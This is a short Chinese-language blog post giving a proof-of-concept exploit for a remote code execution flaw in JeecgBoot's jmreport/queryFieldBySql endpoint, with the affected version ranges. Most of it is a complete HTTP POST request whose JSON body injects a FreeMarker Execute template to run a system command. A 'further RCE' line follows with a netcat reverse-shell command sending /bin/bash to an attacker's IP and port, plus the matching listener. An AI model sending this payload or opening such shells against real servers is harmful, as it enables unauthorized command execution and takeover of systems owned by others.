影响范围:
3.0.0 <= jeecg-boot <= 3.5.3
2.4.x <= jeecg-boot <= 2.4.6
POC:
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: ip
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/json
Content-Length: 102
{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"net user\")}'"}
进一步RCE
nc -e /bin/bash ip port
nc -lvp 8888
标签:image,application,Sec,JeecgBoot,RCE,queryFieldBySql,Ua,Fetch
From: https://www.cnblogs.com/paofu0/p/18262235